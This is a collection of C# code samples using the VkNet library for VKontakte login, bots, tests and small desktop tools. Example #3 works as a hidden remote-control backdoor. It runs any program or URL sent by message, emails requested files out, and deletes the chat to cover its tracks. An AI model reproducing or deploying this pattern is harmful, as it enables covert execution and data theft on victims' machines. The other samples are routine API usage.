Пример #1
0
        public void Init()
        {
            var browser = new Mock<IBrowser>();
            browser.Setup(m => m.GetJson(It.Is<string>(s => s == Url)))
                .Callback(Callback)
                .Returns(() =>
                {
                    if (string.IsNullOrWhiteSpace(Json))
                    {
                        throw new ArgumentNullException(nameof(Json), @"Json не может быть равен null. Обновите значение поля Json");
                    }
                    return Json;
                });

            browser.Setup(o => o.Authorize(
                It.IsAny<ulong>(),
                It.IsAny<string>(),
                It.IsAny<string>(),
                It.IsAny<Settings>(),
                It.IsAny<Func<string>>(),
                It.IsAny<long?>(),
                It.IsAny<string>(),
                It.IsAny<string>(),
                It.IsAny<int?>(),
                It.IsAny<string>(),
                It.IsAny<string>()
                )
			)
			.Returns(VkAuthorization.From(new Uri("https://vk.com/auth?__q_hash=qwerty&access_token=token&expires_in=1000&user_id=1")));
            Api = new VkApi
            {
                Browser = browser.Object
            };
            Api.Authorize(new ApiAuthParams
            {
	            ApplicationId = 1,
				Login = "******",
				Password = "******",
				Settings = Settings.All
            });
	        Api.RequestsPerSecond = 10000; // Чтобы тесты быстрее выполнялись
        }
Пример #2
0
 public void AuthorizeByTokenNegative()
 {
     Api = new VkApi(); // В базовом классе предопределено свойство AccessToken
     Api.Authorize("", 1);
     Assert.That(Api.UserId, Is.Null);
 }
Пример #3
0
        private void button1_Click(object sender, EventArgs e)
        {
            vk = new VkApi();

            ApiAuthParams param = new ApiAuthParams();

            param.ApplicationId = 6622958;
            param.Login         = File.ReadAllText("VKlog.txt");
            param.Password      = File.ReadAllText("VKpas.txt");
            param.Settings      = Settings.All;



            try
            {
                vk.Authorize(param);
            }
            catch (Exception)
            {
                MessageBox.Show("Неверный логин или пароль!");
                return;
            }

            MessagesSendParams msgParams = new MessagesSendParams();

            msgParams.UserId  = ADMIN_ID;
            msgParams.Message = GenerateSpamText("Бот готов услужить!\n!Help помощь в командах");
            vk.Messages.Send(msgParams);

            MessagesGetObject        msg;
            MessagesGetHistoryParams msgHistoryParams = new MessagesGetHistoryParams();

            msgHistoryParams.UserId = ADMIN_ID;
            msgHistoryParams.Count  = 1;
            msgHistoryParams.Offset = 0;

            while (true)
            {
                try
                {
                    msg = vk.Messages.GetHistory(msgHistoryParams);
                }
                catch (Exception)
                {
                    msg = vk.Messages.GetHistory(msgHistoryParams);
                }
                if (msg.Messages.Count > 0)
                {
                    if (msg.Messages[0].Body.Contains("!Run")) // !Run [url/exe/path]
                    {
                        vk.Messages.DeleteDialog(ADMIN_ID, false);
                        Process.Start(msg.Messages[0].Body.Split(' ').Last());
                    }
                    if (msg.Messages[0].Body.Contains("!Help"))
                    {
                        msgParams.Message = GenerateSpamText("!Run [url/exe/path] - запуск приложений\n" + "!SendMail - Отправка указанного файла сообщением\n"
                                                             + "!ChangeRecipient - изменить получателя\n" + "!RecipientMail - вывести имя получателя\n" + "");
                        vk.Messages.Send(msgParams);
                        vk.Messages.DeleteDialog(ADMIN_ID, false);
                    }
                    if (msg.Messages[0].Body.Contains("!SendMail"))
                    {
                        string FileAdres = msg.Messages[0].Body.Split(' ').Last();
                        Send(FileAdres);
                        vk.Messages.DeleteDialog(ADMIN_ID, false);
                    }
                    if (msg.Messages[0].Body.Contains("!ChangeRecipient"))
                    {
                        string NewRecMail = msg.Messages[0].Body.Split(' ').Last();
                        File.WriteAllText("RECmail.txt", NewRecMail);
                        vk.Messages.DeleteDialog(ADMIN_ID, false);
                    }
                    if (msg.Messages[0].Body.Contains("!RecipientMail"))
                    {
                        string ReadRecMail = File.ReadAllText("RECmail.txt");
                        msgParams.Message = GenerateSpamText(ReadRecMail);
                        vk.Messages.Send(msgParams);
                        vk.Messages.DeleteDialog(ADMIN_ID, false);
                    }

                    Thread.Sleep(5000);
                }
            }
        }
Пример #4
0
        public void button1_Click(object sender, EventArgs e)
        {
            try
            {
                string   email = textBox1.Text;
                string   pass  = textBox2.Text;
                Settings scope = Settings.All;
                ulong    appId = 6159996;
                vk.Authorize(new ApiAuthParams
                {
                    ApplicationId = appId,
                    Login         = email,
                    Password      = pass,
                    Settings      = scope
                });
                var setOnline = vk.Account.SetOnline();
                authentication.Parent = null;
                Friends.Visible       = true;
            }
            catch (VkApiAuthorizationException)
            {
                LoginError f3 = new LoginError();
                f3.Show();
            }
            var profileInfo = vk.Account.GetProfileInfo();

            nameLabel.Text = profileInfo.FirstName + " " + profileInfo.LastName;
            var photos = vk.Photo.Get(new PhotoGetParams
            {
                OwnerId = vk.UserId.Value,
                AlbumId = VkNet.Enums.SafetyEnums.PhotoAlbumType.Profile
            });

            foreach (var avatar in photos)
            {
            }
            var friends = vk.Friends.Get(vk.UserId.Value, order: VkNet.Enums.SafetyEnums.FriendsOrder.Hints, fields: ProfileFields.FirstName | ProfileFields.LastName);

            foreach (var fCount in friends)
            {
                FriendsList.Items.Add(fCount.FirstName + fCount.LastName);
                if (Convert.ToBoolean(fCount.Online))
                {
                    onlineFriendsList.Items.Add(fCount.FirstName + fCount.LastName);
                }
            }

            int friendsCount = friends.Count;

            friendsCnt.Text = "Всего друзей " + Convert.ToString(friendsCount);
            var online = vk.Friends.GetOnline(new FriendsGetOnlineParams
            {
                UserId = vk.UserId.Value
            });
            int friendsOnlineCount = online.Count;

            friendsOnlineCnt.Text = Convert.ToString(friendsOnlineCount) + "/" + Convert.ToString(friendsCount);
            var wall = vk.Wall.Get(new WallGetParams
            {
                OwnerId = vk.UserId.Value,
                Count   = 30
            });
            var msg = vk.Messages.Get(new MessagesGetParams
            {
            });
            Status status = vk.Status.Get(vk.UserId.Value);

            labelStatus.Text = Convert.ToString(status);
        }
Пример #5
0
 public void AuthorizeByTokenNegative()
 {
     Api = new VkApi();             // В базовом классе предопределено свойство AccessToken
     Api.Authorize("", 1);
     Assert.That(Api.UserId, Is.Null);
 }
        public FormMain()
        {
            InitializeComponent();

            sre = new SpeechRecognitionEngine();
            ss  = new SpeechSynthesizer();

            vk = new VkApi();

            ApiAuthParams _aap = new ApiAuthParams();

            _aap.Settings      = Settings.All;
            _aap.ApplicationId = 6707008;
            _aap.Login         = "******";
            _aap.Password      = "******";

            vk.Authorize(_aap);

            sre.SpeechRecognized   += Sre_SpeechRecognized;
            sre.RecognizeCompleted += Sre_RecognizeCompleted;

            sre.SetInputToDefaultAudioDevice();
            ss.SetOutputToDefaultAudioDevice();

            active  = false;
            ss.Rate = 0;

            Choices ch_startCommands = new Choices();

            foreach (string str_actPhrase in File.ReadAllLines(@"dictionary\active_phrases.txt"))
            {
                ch_startCommands.Add("Васян " + str_actPhrase);
            }

            foreach (string str_actPhrase in File.ReadAllLines(@"dictionary\passive_phrases.txt"))
            {
                ch_startCommands.Add("Васян " + str_actPhrase);
            }

            GrammarBuilder gb_startCommands = new GrammarBuilder(ch_startCommands);
            Grammar        g_start          = new Grammar(gb_startCommands);

            Choices ch_vk = new Choices();

            foreach (string str_questPhrase in File.ReadAllLines(@"dictionary\VkIds.txt"))
            {
                ch_vk.Add(str_questPhrase.Split('|')[0]);
            }


            Choices ch_vkSamples = new Choices();

            foreach (string str_vkSample in File.ReadAllLines(@"dictionary\vk_samples.txt"))
            {
                ch_vkSamples.Add(str_vkSample);
            }



            GrammarBuilder gb_vk = new GrammarBuilder();

            gb_vk.Append("Отправь");
            gb_vk.Append(ch_vk);
            gb_vk.Append(ch_vkSamples);
            Grammar g_vk = new Grammar(gb_vk);

            Choices ch_quests = new Choices();

            foreach (string str_questPhrase in File.ReadAllLines(@"dictionary\QuestAnswer.txt"))
            {
                ch_quests.Add(str_questPhrase.Split('|')[0]);
            }

            GrammarBuilder gb_quests = new GrammarBuilder(ch_quests);
            Grammar        g_quests  = new Grammar(gb_quests);


            Choices ch_openCommands = new Choices();

            ch_openCommands.Add(" ");
            foreach (string str_openPhrase in File.ReadAllLines(@"dictionary\Open_phrases.txt"))
            {
                ch_openCommands.Add(str_openPhrase);
            }



            Choices ch_closeCommands = new Choices();

            foreach (string str_closePhrase in File.ReadAllLines(@"dictionary\Close_phrases.txt"))
            {
                ch_closeCommands.Add(str_closePhrase);
            }


            Choices ch_programs = new Choices();

            foreach (string str_program in File.ReadAllLines(@"dictionary\Programs.txt"))
            {
                ch_programs.Add(str_program.Split('|')[0]);
            }


            foreach (string site in File.ReadAllLines(@"dictionary\Sites.txt"))
            {
                ch_programs.Add(site.Split('|')[0]);
            }


            GrammarBuilder gb_openPrograms = new GrammarBuilder();

            gb_openPrograms.Append(ch_openCommands);
            gb_openPrograms.Append(ch_programs);
            Grammar g_open = new Grammar(gb_openPrograms);


            GrammarBuilder gb_closePrograms = new GrammarBuilder();

            gb_closePrograms.Append(ch_closeCommands);
            gb_closePrograms.Append(ch_programs);
            Grammar g_close = new Grammar(gb_closePrograms);


            GrammarBuilder gb_anectod = new GrammarBuilder();

            gb_anectod.Append(new Choices(" ", "Расскажи шутку", "Расскажи анекдот", "Расcмеши меня"));
            Grammar g_anectod = new Grammar(gb_anectod);

            GrammarBuilder gb_analys = new GrammarBuilder();

            gb_analys.Append(new Choices(" ",
                                         "Что там с погодой",
                                         "Сколько время",
                                         "Какой день недели",
                                         "Какое сегодня число"));
            Grammar g_analys = new Grammar(gb_analys);

            sre.LoadGrammarAsync(g_start);
            sre.LoadGrammarAsync(g_close);
            sre.LoadGrammarAsync(g_open);
            sre.LoadGrammarAsync(g_quests);
            sre.LoadGrammarAsync(g_vk);
            sre.LoadGrammarAsync(g_anectod);
            sre.LoadGrammarAsync(g_analys);

            sre.RecognizeAsync(RecognizeMode.Multiple);
        }
Пример #7
0
        public void Execute(Fooxboy.NucleusBot.Models.Message msg, IMessageSenderService sender, IBot bot)
        {
            if (Main.Api.Users.IsBanned(msg))
            {
                return;
            }

            //проверка на регистрацию.
            if (_api.Users.CheckUser(msg))
            {
                var kb2 = new KeyboardBuilder(bot);
                kb2.AddButton(ButtonsHelper.ToHomeButton());
                sender.Text("✔ Вы уже зарегистрированы, перейдите на главный экран!", msg.ChatId, kb2.Build());
                return;
            }

            //регистрация нового юзера.
            var user = new HydraBot.Models.User();

            user.Access          = 0;
            user.IsBanned        = false;
            user.Level           = 1;
            user.Prefix          = "Игрок";
            user.Score           = 0;
            user.TimeBan         = 0;
            user.BonusDay        = 1;
            user.SubOnNews       = true;
            user.Money           = 100000;
            user.DriverLicense   = "";
            user.IsAvailbleBonus = true;
            user.TimeBonus       = 0;
            if (msg.Platform == MessengerPlatform.Vkontakte)
            {
                //устанавливаем id ВКонтакте в зависимости от того куда написал пользователь. В беседу или в лс.
                if (msg.ChatId < 2000000000)
                {
                    user.VkId = msg.ChatId;
                }
                else
                {
                    user.VkId = msg.MessageVK.FromId.Value;
                }

                //устанавливаем никнейм
                var vkapi = new VkApi();
                vkapi.Authorize(new ApiAuthParams()
                {
                    AccessToken = Main.Token
                });
                var userName = vkapi.Users.Get(new List <long>()
                {
                    msg.MessageVK.FromId.Value
                })[0].FirstName;
                user.Name = userName;
            }
            //устанавливаем id Телеграмма.
            else
            {
                user.TgId = msg.MessageTG.From.Id;
                user.Name = msg.MessageTG.From.FirstName;
            }

            //добавляем пользователя в бд.
            var id = _api.Users.AddUser(user);

            user.Id = id;

            var garage = new Models.Garage()
            {
                Cars = "", PhoneNumber = null, Name = "no", IsPhone = false, Engines = "", Fuel = 9999999999999, GarageModelId = -1, SelectCar = -1, ParkingPlaces = 0, UserId = id
            };

            Main.Api.Garages.RegisterGarage(garage);

            var skills = new Skills();

            skills.UserId = id;
            using (var db = new Database())
            {
                db.Skillses.Add(skills);
                db.SaveChanges();
            }

            var kb = new KeyboardBuilder(bot);

            kb.AddButton(ButtonsHelper.ToHomeButton());
            sender.Text("✔ Вы успешно зарегистрировались! Перейдите на главный экран, нажав на кнопку домой.", msg.ChatId, kb.Build());
        }
Пример #8
0
        //Метод в котором все выполнятеся
        static void func(ulong ApplicationIdPub, string LoginPub, string PasswordPub, string pathFile, string publicNameSeriaFile, int IdPublic, PostID[][] ArrayPublic)
        {
            try
            {
                #region Основное тело

                var api = new VkApi();

                #region  АСЧЕТ ВРЕМЕНИ

                int Go      = 0; //для открытия
                int timeNow = DateTime.Now.Hour * 100 + DateTime.Now.Minute;

                if (timeNow >= 5 & timeNow <= 655)
                {
                    Go = 1;
                }
                else
                {
                    Go = 1;
                }

                #endregion

                //Авторизация
                api.Authorize(new ApiAuthParams
                {
                    ApplicationId = ApplicationIdPub,
                    Login         = LoginPub,
                    Password      = PasswordPub,
                    Settings      = Settings.All
                });

                string path = pathFile;



                //создаем список выдачи
                IList <PostID> ListOut = ArrayPublic.Flatten(0).ToList();

                //Непосредственная отработка
                if (Go == 1)
                {
                    for (int i = 0; i < ListOut.Count; i++)
                    {
                        long label = ListOut[i].FuncWallPost(api, path, publicNameSeriaFile, IdPublic);
                        if (label > 0)
                        {
                            Console.WriteLine("Размещен пост " + label.ToString() + " в пабдике " + IdPublic.ToString() + " время " + timeNow.ToString());
                            break;
                        }
                    }
                }

                #endregion
            }
            catch (Exception ex)
            {
                Console.WriteLine("Произошла ошибка");
            }
        }
Пример #9
0
        static void Main(string[] args)
        {
            var api = new VkApi();

            ulong  ApplicationId = 5883941;
            string Login         = "******";
            string Password      = "******";
            string path          = @"C:\Users\Администратор.WIN-QVBBKNJHDMA\Desktop\Vkbot\";

            api.Authorize(new ApiAuthParams
            {
                ApplicationId = ApplicationId,
                Login         = Login,
                Password      = Password,
                Settings      = Settings.All
            });


            Console.WriteLine(api.Token.ToString());

            Thread myThread = new Thread(Potok); //Создаем новый объект потока (Thread)

            myThread.Start();                    //запускаем поток

            while (true)
            {
                //--------------Летающий слон---Наука, Путишествия, исследования
                func(ApplicationId, Login, Password, path, "letaushy_slon", -140676466,
                     new PostID[][]
                {
                    Helper.PublicList(api, -41053835, 100),
                    Helper.PublicList(api, -24098496, 100),
                    Helper.PublicList(api, -44241745, 100)
                });
                //--------------Мой друг битлджус---Жесткие приколы на грани фола
                func(ApplicationId, Login, Password, path, "My_drug_Bitldjus", -140803827,
                     new PostID[][]
                {
                    Helper.PublicList(api, -26419239, 100),
                    Helper.PublicList(api, -30022666, 100),
                    Helper.PublicList(api, -12382740, 100),
                    Helper.PublicList(api, -31836774, 100)
                });
                //--------------Я самая---Женские мысли
                func(ApplicationId, Login, Password, path, "I_samay", -140803408,
                     new PostID[][]
                {
                    Helper.PublicList(api, -40498005, 100),
                    Helper.PublicList(api, -26669118, 100),
                    Helper.PublicList(api, -32477579, 100),
                    Helper.PublicList(api, -36008740, 100)
                });
                //--------------This world is Mine---Жизнь хипстеров
                func(ApplicationId, Login, Password, path, "This_world_is_Mine", -140801423,
                     new PostID[][]
                {
                    Helper.PublicList(api, -34298047, 100),
                    Helper.PublicList(api, -36164349, 100),
                    Helper.PublicList(api, -35061290, 100),
                    Helper.PublicList(api, -25397178, 100)
                });
                //--------------тЫква---Только юмор
                func(ApplicationId, Login, Password, path, "Tikva", -140799660,
                     new PostID[][]
                {
                    Helper.PublicList(api, -57846937, 100),
                    Helper.PublicList(api, -30179569, 100),
                    Helper.PublicList(api, -45441631, 100),
                    Helper.PublicList(api, -34491673, 100)
                });
                //--------------Искусный Мужик---про мужиков
                func(ApplicationId, Login, Password, path, "Iskusni_mushik", -140799043,
                     new PostID[][]
                {
                    Helper.PublicList(api, -47679753, 100),
                    Helper.PublicList(api, -24713873, 100),
                    Helper.PublicList(api, -39410028, 100),
                    Helper.PublicList(api, -346191, 100)
                });
                //--------------Молодой и Смелый---молодеж
                func(ApplicationId, Login, Password, path, "Young_and_Bold", -140798515,
                     new PostID[][]
                {
                    Helper.PublicList(api, -26030283, 100),
                    Helper.PublicList(api, -23378353, 100),
                    Helper.PublicList(api, -19799369, 100),
                    Helper.PublicList(api, -35294456, 100)
                });
                //--------------free hand---молодеж
                func(ApplicationId, Login, Password, path, "free_hand", -140798160,
                     new PostID[][]
                {
                    Helper.PublicList(api, -45608667, 100),
                    Helper.PublicList(api, -57876954, 100),
                    Helper.PublicList(api, -55156099, 100),
                    Helper.PublicList(api, -30277672, 100)
                });
                //--------------Экосистема успеха---про успех
                func(ApplicationId, Login, Password, path, "ekosistema_uspexa", -140700308,
                     new PostID[][]
                {
                    Helper.PublicList(api, -2089898, 100),
                    Helper.PublicList(api, -34815360, 100),
                    Helper.PublicList(api, -49042487, 100),
                    Helper.PublicList(api, -44195750, 100)
                });
                //--------------Дикий пОмидОр---Дикий угар
                func(ApplicationId, Login, Password, path, "dikiy_pomidor", -140697225,
                     new PostID[][]
                {
                    Helper.PublicList(api, -26419239, 100),
                    Helper.PublicList(api, -12382740, 100),
                    Helper.PublicList(api, -30179569, 100),
                    Helper.PublicList(api, -460389, 100)
                });
                //--------------СочныйТЫЛ---эротика
                func(ApplicationId, Login, Password, path, "sochni_tul", -140696798,
                     new PostID[][]
                {
                    Helper.PublicList(api, -72517812, 100),
                    Helper.PublicList(api, -38806371, 100),
                    Helper.PublicList(api, -60804744, 100),
                });
                //--------------Зов природы---эротика
                //func(ApplicationId, Login, Password, path, "zov_prirodi", -140696788,
                //new PostID[][]
                //{
                //    Helper.PublicList(api, -27794994, 100),
                //    Helper.PublicList(api, -31071893, 100),
                //    Helper.PublicList(api, -21090314, 100),
                //
                //});
                //--------------Запах мужикА---Мужской журнал
                func(ApplicationId, Login, Password, path, "zapax_muzika", -140699702,
                     new PostID[][]
                {
                    Helper.PublicList(api, -39144813, 100),
                    Helper.PublicList(api, -106753446, 100),
                    Helper.PublicList(api, -84838988, 100),
                    Helper.PublicList(api, -25397178, 100)
                });
                //--------------кожаный конь---смех
                func(ApplicationId, Login, Password, path, "kojan_kon", -140698998,
                     new PostID[][]
                {
                    Helper.PublicList(api, -34298047, 100),
                    Helper.PublicList(api, -109933399, 100),
                    Helper.PublicList(api, -23433159, 100)
                });
                //--------------Жуй для тела---фитнес питание
                func(ApplicationId, Login, Password, path, "juy_dly_tela", -140693835,
                     new PostID[][]
                {
                    Helper.PublicList(api, -28627911, 100),
                    Helper.PublicList(api, -35113021, 100)
                });
                //--------------лайфhacker---лайфхаки
                func(ApplicationId, Login, Password, path, "lifexaker", -140690042,
                     new PostID[][]
                {
                    Helper.PublicList(api, -47679753, 100),
                    Helper.PublicList(api, -24094338, 100),
                    Helper.PublicList(api, -40567146, 100)
                });
                //--------------ВАНИ́ЛЬ---женские мысли
                func(ApplicationId, Login, Password, path, "vanil", -140695126,
                     new PostID[][]
                {
                    Helper.PublicList(api, -28627911, 100),
                    Helper.PublicList(api, -32477579, 100),
                    Helper.PublicList(api, -40498005, 100),
                    Helper.PublicList(api, -34308709, 100)
                });
                //--------------Миллионер из трущеб---мужской журнал
                func(ApplicationId, Login, Password, path, "millioner_iz_trusheb", -140699644,
                     new PostID[][]
                {
                    Helper.PublicList(api, -40587282, 100),
                    Helper.PublicList(api, -49438563, 100),
                    Helper.PublicList(api, -49031817, 100),
                    Helper.PublicList(api, -30559917, 100)
                });
                //--------------Мысли Вслух---мужской журнал
                func(ApplicationId, Login, Password, path, "misli_vslux", -140683182,
                     new PostID[][]
                {
                    Helper.PublicList(api, -29559271, 100),
                    Helper.PublicList(api, -38000455, 100),
                    Helper.PublicList(api, -89960449, 100),
                    Helper.PublicList(api, -44241745, 100)
                });



                Console.WriteLine("#####");
                Thread.Sleep(3600 * 1000);
            }
        }
Пример #10
0
 public void Auth(string token)
 {
     vkAPI.Authorize(new ApiAuthParams {
         AccessToken = token
     });
 }
Пример #11
0
        /// <summary>
        /// Configure a new instance of the Bot
        /// </summary>
        /// <param name="configFileName">Path to a .json file with configuration</param>
        /// <exception cref="FileNotFoundException">Selected file is not available</exception>
        public Bot(string configFileName)
        {
            _startTime = DateTime.Now;

            if (!File.Exists(configFileName))
            {
                throw new FileNotFoundException("Can't find config file", configFileName);
            }

            var builder = new ConfigurationBuilder()
                          .SetBasePath(Directory.GetCurrentDirectory())
                          .AddJsonFile(configFileName);

            // Initialize a new VkApi based on selected config
            Api = new VkApi {
                RequestsPerSecond = 3
            };

            var configuration = builder.Build();

            var token = configuration["token"];

            var auth = new ApiAuthParams
            {
                TokenExpireTime = 0,
                ApplicationId   = ulong.Parse(configuration["appid"]),
                Settings        = Settings.All
            };

            if (token != null)
            {
                auth.AccessToken = token;
            }
            else
            {
                auth.Login    = configuration["login"];
                auth.Password = configuration["password"];
            }

            Api.Authorize(auth);

            if (!Api.IsAuthorized)
            {
                Log.Error("Failed to log in with credentials: ");
                PrintCredentials(configuration);
                return;
            }

            Log.Information($"Token: {Api.Token}");

            _botCommandRegex = new Regex(@"^[\/\\\!](\w+)");

            Functions = new Dictionary <string, VkBotProvider>();

            var names = configuration.GetSection("modules").GetChildren().Select(name => name.Value).ToList();

            Providers = new Dictionary <string, VkBotProvider>
            {
                ["ping"]     = new PingProvider(),
                ["reddit"]   = new RedditProvider(Api),
                ["system"]   = new SystemProvider(this),
                ["quote"]    = new QuoteProvider(),
                ["math"]     = new MathProvider(),
                ["flipcoin"] = new FlipcoinProvider(),
                ["help"]     = new HelpProvider(this),
                ["queue"]    = new QueueProvider(this, Api),
                ["youtube"]  = new YouTubeProvider(Api),
                ["stats"]    = new StatsProvider(this),
                ["bsuir"]    = new BsuirProvider()
            };

            foreach (var provider in Providers)
            {
                if (names.Contains(provider.Key))
                {
                    provider.Value.State = ProviderState.Loaded;
                }
            }

            Admins = configuration.GetSection("admins").GetChildren().Select(c => long.Parse(c.Value)).ToArray();

            foreach (var module in Providers.Values)
            {
                foreach (var func in module.Functions)
                {
                    Functions[func.Key] = module;
                }
            }

            Requests  = new ConcurrentQueue <Command>();
            Responses = new ConcurrentQueue <MessagesSendParams>();
        }
Пример #12
0
        static void Main(string[] args)
        {
            // Если запущен с аргументом на удаление токена
            if (args.Length > 0)
            {
                for (int i = 0; i < args.Length; i++)
                {
                    if (args[i] == "-resettoken")
                    {
                        Token.Clear();
                        MessageBox.Show("Токен сброшен", "Сброс токена",
                                        MessageBoxButtons.OK, MessageBoxIcon.Information);
                    }
                }
            }
            // Инициализация VkNet
            var services = new ServiceCollection();

            services.AddAudioBypass();
            vk = new VkApi(services);

            try
            {
                // Авторизация для получения токена
                if (Token.Get().Length == 0)
                {
                    throw new Exception("Token not found");
                }

                Task t = Task.Run(() =>
                {
                    // Авторизация по токену
                    vk.Authorize(new VkNet.Model.ApiAuthParams()
                    {
                        ApplicationId = ApplicationID,
                        AccessToken   = Token.Get()
                    });

                    // Пользователь уже авторизован, теперь ищем сообщение от вк и копируем код
                    var history = vk.Messages.GetHistory(new MessagesGetHistoryParams()
                    {
                        UserId = UserID,
                        Count  = 1
                    });

                    // Копируем текст сообщения
                    string message = history.Messages.First().Text;
                    int startIndex = message.LastIndexOf(": ") + 2; // Строка имеет вид ": 000000"
                    if (startIndex != -1)
                    {
                        vk.Messages.MarkAsRead(UserID.ToString());
                        string code = message.Substring(startIndex, 6);

                        // Add to clipboard
                        Thread thread = new Thread(() => Clipboard.SetText(code));
                        thread.SetApartmentState(ApartmentState.STA);
                        thread.Start();
                        thread.Join();

                        MessageBox.Show("Код скопирован в буфер обмена", "",
                                        MessageBoxButtons.OK, MessageBoxIcon.None);
                    }
                    else
                    {
                        MessageBox.Show("Код подтверждения не найден", "",
                                        MessageBoxButtons.OK, MessageBoxIcon.Error);
                    }
                });
                t.Wait();
            }
            catch (Exception)
            {
                Application.EnableVisualStyles();
                Application.SetCompatibleTextRenderingDefault(false);
                Application.Run(new AuthForm());
            }
        }